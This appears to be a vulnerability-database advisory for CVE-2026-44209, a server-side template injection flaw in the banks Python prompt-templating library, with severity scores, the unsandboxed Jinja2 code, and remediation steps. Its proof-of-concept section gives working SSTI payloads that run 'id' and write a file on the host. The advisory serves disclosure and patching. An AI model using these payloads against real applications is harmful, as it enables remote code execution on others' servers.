What is the CVSS score of CVE-2026-44209?

CVE-2026-44209 has a CVSS 3.1 base score of 7.5 (High). CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.2%.

Which versions of banks are affected by CVE-2026-44209?

A widely-used LLM prompt-templating library for banking applications contains a critical remote code execution flaw that could allow attackers to fully compromise any system running vulnerable…. A patch is available.

How to fix or mitigate CVE-2026-44209?

Within 24 hours, conduct a comprehensive inventory of all applications and infrastructure using the banks LLM prompt-templating library, specifically identifying systems running version 2.4.1 or earlier; consult vendor advisories for the patched version number and begin procurement. Within 7 days, validate the patched version in staging environments against critical application functionality and initiate phased deployment to production systems, prioritizing those that accept user input for template rendering. Within 30 days, complete deployment verification across all affected systems and confirm 100% migration to the patched version; implement application-level input validation to restrict template functionality from processing untrusted user data.

banks CVE-2026-44209

HIGH

Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336)

2026-05-08 https://github.com/masci/banks

GHSA-gphh-9q3h-jgpp

RCE Python Ssti

7.5

CVSS 3.1 · Vendor: https://github.com/masci/banks

Severity by source

Vendor (https://github.com/masci/banks) PRIMARY

7.5 HIGH

AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

vuln.today AI

7.5 HIGH

AC:H and UI:R because exploitation requires the non-default pattern of feeding untrusted input as the template; PR:N as banks imposes no auth; C/I/A:H for full host RCE.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Red Hat

7.5 HIGH

qualitative

Primary rating from Vendor (https://github.com/masci/banks).

CVSS VectorVendor: https://github.com/masci/banks

Attack Vector

Network

Attack Complexity

High

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Source Code Evidence Fetched

Jul 23, 2026 - 22:45 vuln.today

Analysis Generated

Jul 23, 2026 - 22:45 vuln.today

CVE Published

May 08, 2026 - 20:36 nvd

HIGH 7.5

DescriptionCVE.org

Summary

banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how banks initializes its Jinja2 environment - not in Jinja2 itself.

Vulnerable Code

src/banks/env.py - the global Jinja2 environment is created without sandboxing:

python

env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)

Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:

python

# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()
# Executes arbitrary command on the host

Proof of Concept

Setup:

bash

pip install banks==2.4.1

PoC script:

python

from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")

Confirmed output:

[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:**

from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}") p.text()

ls -l /tmp/rce_banks_exec

-rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec

## Impact

Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
## Fix

Fixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.

Developers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.
## Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack - identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm - identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine

AnalysisAI

Server-Side Template Injection leading to Remote Code Execution affects the banks LLM prompt-templating library (versions <= 2.4.1), which renders Jinja2 templates through an unsandboxed jinja2.Environment(). Any application that passes attacker-controlled strings as the template argument to Prompt() lets an attacker traverse Python dunder attributes to import os and run arbitrary host commands. A working proof-of-concept exists (publicly available exploit code exists) demonstrating command execution and file writes; there is no evidence of active exploitation (EPSS 0.15%, not in CISA KEV).

Technical ContextAI

banks is a Python library that builds and renders LLM prompts using the Jinja2 template engine. The root cause is CWE-1336 (improper neutralization of special elements in a template engine): in src/banks/env.py the shared engine is instantiated as jinja2.Environment() rather than jinja2.sandbox.SandboxedEnvironment, so template expressions are evaluated with full Python object access. This allows the classic SSTI escape chain self.__init__.__globals__.__builtins__.__import__('os').popen(...) to reach the operating system. The affected package per CPE is pkg:pip/banks (all versions <= 2.4.1). This is the same class of flaw seen in CVE-2024-41950 (Haystack) and CVE-2025-25362 (spacy-llm), both of which shared the unsandboxed-Jinja2 pattern.

RemediationAI

Vendor-released patch: banks 2.4.2, which switches src/banks/env.py to jinja2.sandbox.SandboxedEnvironment to block the dunder attribute-traversal chain (PR #74, https://github.com/masci/banks/pull/74). Upgrade with pip install --upgrade 'banks>=2.4.2' and review GHSA-gphh-9q3h-jgpp. Because the vendor explicitly warns the sandbox is not a hard security boundary, do not treat the upgrade as sufficient on its own: never construct Prompt() from user-controlled strings - keep the template static and pass user data through the rendering context, e.g. Prompt('Write about {{ topic }}.').text({'topic': user_input}) instead of Prompt(user_input). If upgrading is not immediately possible, the compensating control is to eliminate any code path where externally sourced template text (database rows, API request bodies, user config files) reaches the Prompt() template argument; the trade-off is that any feature letting users author full templates must be disabled or converted to a fixed-template-plus-variables model.